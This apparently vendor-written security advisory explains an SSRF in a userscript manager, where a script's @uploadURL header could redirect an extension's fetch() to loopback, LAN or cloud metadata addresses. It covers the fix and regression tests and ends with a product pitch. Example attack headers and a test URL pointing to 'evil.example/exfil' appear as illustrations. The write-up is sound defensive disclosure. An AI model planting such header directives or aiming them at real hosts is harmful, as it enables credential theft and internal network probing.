Summary
A userscript manager's metadata parser accepted the @uploadURL directive from a script's own header block, so any installed or auto-updated script could silently redirect the options-page uploadScript() fetch to an attacker-chosen destination — including loopback, link-local metadata endpoints, and LAN addresses. The fix makes Meta.get() ignore @uploadURL when it appears in a script header, leaving the User Metadata field (validated in Meta.getUserMeta()) as the only way to set it, and adds a regression test that asserts a header-supplied @uploadURL resolves to an empty string.
Introduction
This SSRF let an attacker choose, from inside a userscript header, where the browser extension would send an outbound HTTP request.
The extension's options page has a uploadScript() routine that pushes a script's source to a destination the user configures — typically a local development server. It reads that destination from pref[id].uploadURL and hands it to fetch(). Separately, the metadata parser Meta.get() walks a script's // ==UserScript== block and copies recognized directives into the script's stored data object. Before this change, uploadURL was one of the directives it copied.
Those two facts together are the bug. A script header is attacker-authored content — it arrives from a paste, an install link, or an @updateURL refresh of a script the user trusted months ago. A user preference is user-authored content, typed into the options UI and run through URL validation. The parser collapsed that distinction, so a single line in a script header became a write to a preference that a privileged fetch() later dereferences:
// ==UserScript==
// @name evil
// @uploadURL http://169.254.169.254/latest/meta-data/
// ==/UserScript==
If you maintain any system that parses metadata out of user-supplied documents and merges it into a settings object, this is the pattern to study: the vulnerability is not in the fetch() call, it is in which side of the trust boundary the URL came from.
Affected Versions
| Affected | not applicable (first-party code) — the Meta.get() header parser and the options-page uploadScript() / importFromUrl() routines before this fix |
| Fixed in | not applicable (first-party code) — fixed by the commit that adds case 'uploadURL': return; to the header parser and URL validation to the options-page fetch() callers |
| Ecosystem | N/A (browser extension source, JavaScript) |
| CVE / GHSA | not assigned |
| CWE | CWE-918 (Server-Side Request Forgery) |
The Vulnerability Explained
Where the URL came from
The metadata parser processes each @key value pair from a script header in a switch. Recognized keys are assigned onto the script's data object; for example, the parser already contains dedicated handling that routes a value to data.metaURL or data.updateURL depending on whether it ends in .meta.js / .meta.css:
(/\.meta\.(js|css)$/i.test(value) ? data.metaURL = value : data.updateURL = value);
return;
uploadURL had no case of its own, so it fell through to the parser's generic directive handling and landed on data.uploadURL just like any benign field such as @name or @version. Nothing downstream re-checked its origin. Once stored, pref[id].uploadURL is indistinguishable from a value the user typed into the User Metadata field themselves.
Where it was dereferenced
uploadScript() reads that preference and calls fetch() with it. A second sink exists in the same options page: importFromUrl() collects a URL from a prompt() and passes it straight to fetch(). Neither call validated the scheme or resolved-host class — no rejection of http://127.0.0.1, http://[::1], RFC 1918 ranges, 169.254.169.254, or non-HTTP schemes.
Extension code is the worst possible place for an unvalidated fetch(). It runs with the extension's host permissions, outside any page's CSP, and is not subject to the same-origin restrictions that would stop this request from a web page. A fetch() from here reaches things a page cannot.
Attack scenario
- A user installs a useful-looking script, or a script they already trust is updated through its
@updateURL. The new header contains// @uploadURL http://127.0.0.1:9200/_bulk. Meta.get()parses the header and writesdata.uploadURL = 'http://127.0.0.1:9200/_bulk'. The options page shows nothing unusual; the user never chose this destination.- The next time the user clicks upload on any script,
uploadScript()fetches that URL from the extension's privileged context. The request reaches a service bound to loopback that assumed only local processes could talk to it. - Swapping the value for
http://169.254.169.254/latest/meta-data/iam/security-credentials/targets a cloud instance metadata endpoint if the browser runs on a cloud VM or a managed desktop image. Swapping it forhttp://192.168.1.1/admin/reboottargets the user's router. Varying the port and observing success versus error timing turns the same primitive into an internal port scanner. - Because
uploadScript()sends the script body, the attacker also gets exfiltration: userscripts routinely contain API tokens, cookies, and site-specific credentials the user pasted in.
The impact is a confused-deputy chain — the extension is coerced into making requests on behalf of a script, from a network position and with a permission set the script's author should never be able to borrow.
The Fix
The change closes the hole at the trust boundary rather than trying to sanitize a value that should never have crossed it. An explicit case in the header parser drops the directive:
// uploadURL is a user preference set via the options-page User Metadata field
// (Meta.getUserMeta, already URL-validated) — never honor it from the script's
// own header, or a malicious/updated script could silently redirect uploadScript().
case 'uploadURL':
return;
Before: @uploadURL in a script header was copied to data.uploadURL and later dereferenced by uploadScript()'s fetch().
After: @uploadURL in a script header is consumed and discarded; data.uploadURL stays empty.
The feature itself is untouched. @uploadURL remains settable through the User Metadata field, which is parsed by Meta.getUserMeta() and already validated as a URL. That path is authored by the person sitting at the browser, which is exactly the authority the setting requires.
A regression test pins both halves of the behavior — the attack is blocked, the feature is preserved:
test('script header @uploadURL is ignored (attack blocked)', () => {
const src = userScript('// @name evil\n// @uploadURL http://evil.example/exfil');
const data = Meta.get(src, {});
assert.equal(data.uploadURL, '');
});
The companion test sets data.userMeta = '@uploadURL http://192.168.1.50:8080/upload', calls Meta.getUserMeta(data, true), and asserts the preference is populated — proving the legitimate local-dev-server workflow still works after the parser stops trusting headers.
The second half of the change adds scheme and host validation to the options-page fetch() callers, importFromUrl() and uploadScript(). This is defense in depth and it is necessary for a reason the parser fix does not cover: importFromUrl() takes its URL from a prompt(), so a user can be socially engineered into pasting http://169.254.169.254/... regardless of how strict the metadata parser is. Validating at the sink protects the prompt-driven path; dropping the directive at the parser protects the silently-updated-script path. Neither alone is sufficient.
Key Takeaways
- A
@directivein a userscript header is untrusted input, not configuration.Meta.get()treated@uploadURLwith the same trust as@name, which turned a metadata comment into a write to a network destination. - Auto-update turns a one-time trust decision into a permanent one. A script the user vetted can acquire an
@uploadURLline through its own@updateURLrefresh, with no re-prompt. Any directive that influences outbound requests must be excluded from the updatable surface. fetch()inside a browser extension is not the same asfetch()on a page. It carries the extension's host permissions and ignores page CSP and CORS, so loopback,169.254.169.254, and RFC 1918 addresses are all reachable. Sinks likeuploadScript()andimportFromUrl()need explicit host-class checks.- Prefer removing the capability over filtering it.
case 'uploadURL': return;is stronger than validating a header-supplied URL, because validation would still let a script redirect uploads to an allowed host the user never selected. - Pin trust-boundary fixes with a test that asserts the empty result.
assert.equal(data.uploadURL, '')after parsing a hostile header is the assertion that stops someone from "helpfully" re-adding the directive to the parser later.
How Orbis AppSec Detected This
- Source: the
@uploadURLdirective inside an untrusted userscript// ==UserScript==header block, parsed byMeta.get()intodata.uploadURL, plus the URL string collected fromprompt()inimportFromUrl(). - Sink:
fetch()invoked from the options-pageuploadScript()routine withpref[id].uploadURL, andfetch()invoked fromimportFromUrl()with the prompt-supplied URL — both in a privileged extension context that bypasses page CORS and CSP. - Missing control: no separation between script-authored metadata and user-authored preferences, and no scheme or host-class validation rejecting loopback, RFC 1918, link-local
169.254.169.254, or non-HTTP schemes before the request was issued. - CWE: CWE-918 (Server-Side Request Forgery).
- Fix: the header parser now returns immediately on
uploadURLso only the validated User Metadata path can set it, and the options-pagefetch()callers validate the destination URL.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The dangerous line in this codebase was never the fetch() call — it was the missing case in the metadata parser that let a script header write to a preference the fetch() trusted. Adding case 'uploadURL': return; restores the boundary between "what a script says about itself" and "what the user configured," and the two regression tests lock in both sides of that boundary: a hostile header yields an empty uploadURL, while a User Metadata entry of http://192.168.1.50:8080/upload still works.
If your code parses directives out of untrusted documents and merges them into settings, enumerate every field that can end up in a network call, a file path, or a command line — and decide, per field, which side of the boundary it is allowed to come from. Validation at the sink is a useful backstop, as the importFromUrl() prompt path shows, but the durable fix is refusing to let attacker-authored data reach the setting at all. No CVE or GHSA has been assigned to this issue.